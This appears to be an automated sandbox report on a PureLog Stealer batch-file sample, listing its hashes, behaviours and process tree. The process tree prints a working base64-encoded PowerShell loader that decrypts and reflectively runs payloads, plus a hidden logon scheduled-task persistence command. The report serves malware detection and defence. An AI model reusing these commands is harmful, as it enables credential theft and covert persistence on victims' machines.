purelogstealer | 52501396a535fa409f71a5ed5fe4070f39451d95e7e3b0f078f918ee91874b4e

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2024, 03:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VALUATION NO. 2_SC.bat
Size 1.1MB
Sample240402-dhe3aafb72
SHA256 52501396a535fa409f71a5ed5fe4070f39451d95e7e3b0f078f918ee91874b4e
MD5 b8e9ec0cedba5373daecbf2a39f901cb
SHA1 6437ee39381faf3f9ed07fd3d6ddb92417eb6082
SHA512 4bd6885fbe04dcc9c57f4b032660f6dd79ec4ef80910afe7f7a408878c286114619357f156b8d1ea7e3763903e4057201fefdc5071ce60169f5881a2187738b0
SSDEEP 24576:BHpbJ6X869EsjqBWgO7nsB+fhdWQcAJSkW8F3UomTvCl:96H29+Zt/mE
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

purelogstealer collection stealer

Malware Config

Signatures

PureLog Stealer
PureLog Stealer is an infostealer written in C#.
stealer purelogstealer

PureLog Stealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/5032-2415-0x000001E029D20000-0x000001E029D4A000-memory.dmp	family_purelog_stealer

Blocklisted process makes network request 2 IoCs

flow	pid	Process
32	5032	powershell.exe
34	5032	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	powershell.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1896	powershell.exe
1896	powershell.exe
3068	powershell.exe
3068	powershell.exe
2196	powershell.exe
2196	powershell.exe
3612	powershell.exe
3612	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
4140	powershell.exe
4140	powershell.exe
316	powershell.exe
316	powershell.exe
316	powershell.exe
5032	powershell.exe
5032	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe
Token: SeUndockPrivilege	2196	powershell.exe
Token: SeManageVolumePrivilege	2196	powershell.exe
Token: 33	2196	powershell.exe
Token: 34	2196	powershell.exe
Token: 35	2196	powershell.exe
Token: 36	2196	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeIncreaseQuotaPrivilege	3612	powershell.exe
Token: SeSecurityPrivilege	3612	powershell.exe
Token: SeTakeOwnershipPrivilege	3612	powershell.exe
Token: SeLoadDriverPrivilege	3612	powershell.exe
Token: SeSystemProfilePrivilege	3612	powershell.exe
Token: SeSystemtimePrivilege	3612	powershell.exe
Token: SeProfSingleProcessPrivilege	3612	powershell.exe
Token: SeIncBasePriorityPrivilege	3612	powershell.exe
Token: SeCreatePagefilePrivilege	3612	powershell.exe
Token: SeBackupPrivilege	3612	powershell.exe
Token: SeRestorePrivilege	3612	powershell.exe
Token: SeShutdownPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeSystemEnvironmentPrivilege	3612	powershell.exe
Token: SeRemoteShutdownPrivilege	3612	powershell.exe
Token: SeUndockPrivilege	3612	powershell.exe
Token: SeManageVolumePrivilege	3612	powershell.exe
Token: 33	3612	powershell.exe
Token: 34	3612	powershell.exe
Token: 35	3612	powershell.exe
Token: 36	3612	powershell.exe
Token: SeIncreaseQuotaPrivilege	3612	powershell.exe
Token: SeSecurityPrivilege	3612	powershell.exe
Token: SeTakeOwnershipPrivilege	3612	powershell.exe
Token: SeLoadDriverPrivilege	3612	powershell.exe
Token: SeSystemProfilePrivilege	3612	powershell.exe
Token: SeSystemtimePrivilege	3612	powershell.exe
Token: SeProfSingleProcessPrivilege	3612	powershell.exe
Token: SeIncBasePriorityPrivilege	3612	powershell.exe
Token: SeCreatePagefilePrivilege	3612	powershell.exe
Token: SeBackupPrivilege	3612	powershell.exe
Token: SeRestorePrivilege	3612	powershell.exe
Token: SeShutdownPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeSystemEnvironmentPrivilege	3612	powershell.exe
Token: SeRemoteShutdownPrivilege	3612	powershell.exe
Token: SeUndockPrivilege	3612	powershell.exe
Token: SeManageVolumePrivilege	3612	powershell.exe
Token: 33	3612	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3636 wrote to memory of 3648	3636	cmd.exe	86
PID 3636 wrote to memory of 3648	3636	cmd.exe	86
PID 3636 wrote to memory of 2936	3636	cmd.exe	87
PID 3636 wrote to memory of 2936	3636	cmd.exe	87
PID 2936 wrote to memory of 388	2936	cmd.exe	89
PID 2936 wrote to memory of 388	2936	cmd.exe	89
PID 2936 wrote to memory of 2012	2936	cmd.exe	90
PID 2936 wrote to memory of 2012	2936	cmd.exe	90
PID 2936 wrote to memory of 1896	2936	cmd.exe	91
PID 2936 wrote to memory of 1896	2936	cmd.exe	91
PID 1896 wrote to memory of 3068	1896	powershell.exe	95
PID 1896 wrote to memory of 3068	1896	powershell.exe	95
PID 1896 wrote to memory of 2196	1896	powershell.exe	98
PID 1896 wrote to memory of 2196	1896	powershell.exe	98
PID 1896 wrote to memory of 3612	1896	powershell.exe	102
PID 1896 wrote to memory of 3612	1896	powershell.exe	102
PID 1896 wrote to memory of 1600	1896	powershell.exe	105
PID 1896 wrote to memory of 1600	1896	powershell.exe	105
PID 1600 wrote to memory of 3884	1600	cmd.exe	107
PID 1600 wrote to memory of 3884	1600	cmd.exe	107
PID 3884 wrote to memory of 4576	3884	cmd.exe	109
PID 3884 wrote to memory of 4576	3884	cmd.exe	109
PID 3884 wrote to memory of 4980	3884	cmd.exe	110
PID 3884 wrote to memory of 4980	3884	cmd.exe	110
PID 3884 wrote to memory of 5032	3884	cmd.exe	111
PID 3884 wrote to memory of 5032	3884	cmd.exe	111
PID 5032 wrote to memory of 3636	5032	powershell.exe	114
PID 5032 wrote to memory of 3636	5032	powershell.exe	114
PID 5032 wrote to memory of 4140	5032	powershell.exe	115
PID 5032 wrote to memory of 4140	5032	powershell.exe	115
PID 5032 wrote to memory of 316	5032	powershell.exe	117
PID 5032 wrote to memory of 316	5032	powershell.exe	117

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VALUATION NO. 2_SC.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\system32\cmd.exe
  cmd /c \"set __=^&rem\
  2⤵
  PID:3648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\VALUATION NO. 2_SC.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\system32\cmd.exe
    cmd /c \"set __=^&rem\
    3⤵
    PID:388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\VALUATION NO. 2_SC.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gY1NidmkoJHpXY0FSKXskV2lVTnE9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFdpVU5xLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskV2lVTnEuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRXaVVOcS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRlZCY0VDdjdWeEpodlN4T3VLUEdaSG5lQ0ZYVjkrV3JBdk1TamxuU1lFUT0nKTskV2lVTnEuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMWVRYnlDVEY3UXRxUzJoVUJWYmNlQT09Jyk7JGl4bmJtPSRXaVVOcS5DcmVhdGVEZWNyeXB0b3IoKTskT3dFWkc9JGl4bmJtLlRyYW5zZm9ybUZpbmFsQmxvY2soJHpXY0FSLDAsJHpXY0FSLkxlbmd0aCk7JGl4bmJtLkRpc3Bvc2UoKTskV2lVTnEuRGlzcG9zZSgpOyRPd0VaRzt9ZnVuY3Rpb24gc213SVUoJHpXY0FSKXskSkpVZXU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkeldjQVIpOyRWSXhiSD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JHdWb0J2PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJEpKVWV1LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskd1ZvQnYuQ29weVRvKCRWSXhiSCk7JHdWb0J2LkRpc3Bvc2UoKTskSkpVZXUuRGlzcG9zZSgpOyRWSXhiSC5EaXNwb3NlKCk7JFZJeGJILlRvQXJyYXkoKTt9JG55T2lSPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskb0ZvVk49c213SVUgKGNTYnZpIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJG55T2lSLCA1KS5TdWJzdHJpbmcoMikpKSk7JGl3VmxBPXNtd0lVIChjU2J2aSAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRueU9pUiwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kaXdWbEEpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJG9Gb1ZOKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
    3⤵
    PID:2012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\VALUATION NO. 2_SC')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 35462' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3612
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1600
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3884
      - C:\Windows\system32\cmd.exe
        
        cmd /c \"set __=^&rem\
        6⤵
        
        PID:4576
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gY1NidmkoJHpXY0FSKXskV2lVTnE9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFdpVU5xLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskV2lVTnEuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRXaVVOcS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRlZCY0VDdjdWeEpodlN4T3VLUEdaSG5lQ0ZYVjkrV3JBdk1TamxuU1lFUT0nKTskV2lVTnEuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMWVRYnlDVEY3UXRxUzJoVUJWYmNlQT09Jyk7JGl4bmJtPSRXaVVOcS5DcmVhdGVEZWNyeXB0b3IoKTskT3dFWkc9JGl4bmJtLlRyYW5zZm9ybUZpbmFsQmxvY2soJHpXY0FSLDAsJHpXY0FSLkxlbmd0aCk7JGl4bmJtLkRpc3Bvc2UoKTskV2lVTnEuRGlzcG9zZSgpOyRPd0VaRzt9ZnVuY3Rpb24gc213SVUoJHpXY0FSKXskSkpVZXU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkeldjQVIpOyRWSXhiSD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JHdWb0J2PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJEpKVWV1LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskd1ZvQnYuQ29weVRvKCRWSXhiSCk7JHdWb0J2LkRpc3Bvc2UoKTskSkpVZXUuRGlzcG9zZSgpOyRWSXhiSC5EaXNwb3NlKCk7JFZJeGJILlRvQXJyYXkoKTt9JG55T2lSPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskb0ZvVk49c213SVUgKGNTYnZpIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJG55T2lSLCA1KS5TdWJzdHJpbmcoMikpKSk7JGl3VmxBPXNtd0lVIChjU2J2aSAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRueU9pUiwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kaXdWbEEpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJG9Gb1ZOKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
        6⤵
        
        PID:4980
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        6⤵
        Blocklisted process makes network request
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:5032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 35462' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 3KB
SHA256 1acd537f479679729ebe46342ce8e059cc17c730738b20734e19517b2795810d
MD5 eb95a7983ce3c7889e726cb75dc07c84
SHA1 2032843f1765ebd000ea93a4f3e99e3a6d00d7da
SHA512 25a0bbc3b9d5f4cd1fbe8ca6be88d3580c5682a9bd3921c6d17819e2b59de36544fe7d0fa29c89d5ede4402bb7a69fd04e9fe2c92a488ab5404b45e9f8023055
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 3KB
SHA256 94738f7eb08a96b49fb7c51091083b9401b99e4db6458625bd3f1f6c65838c36
MD5 2d1de0141861c4d15f5dc0630d1b8c94
SHA1 523a8ce3c9a1d5058f77cda094ffd171ff3e4ab8
SHA512 354f89f30f47d909c953d0451d8f1f850f585cd8580241c46d62fbdd3089ddbe3775fe7e531abb9a766683477a32116a52bffe0aa8f7b1d443edfa8baf592498
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b15fce36d4da0f69d66eb99e33576b010462cfd96844cc19e477b2741d7aea39
MD5 b0e719fe6d92c723df27a58e9f181786
SHA1 1135460053e8997692f088228efb862b057f80c2
SHA512 4368be456e8b791a02944828e656eaad3ca5a675428729847a3f6ef2d8af151b3f25829d13b7e1a9270f045d6ee20874535da646dc85500a8ca19fa570157fee
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
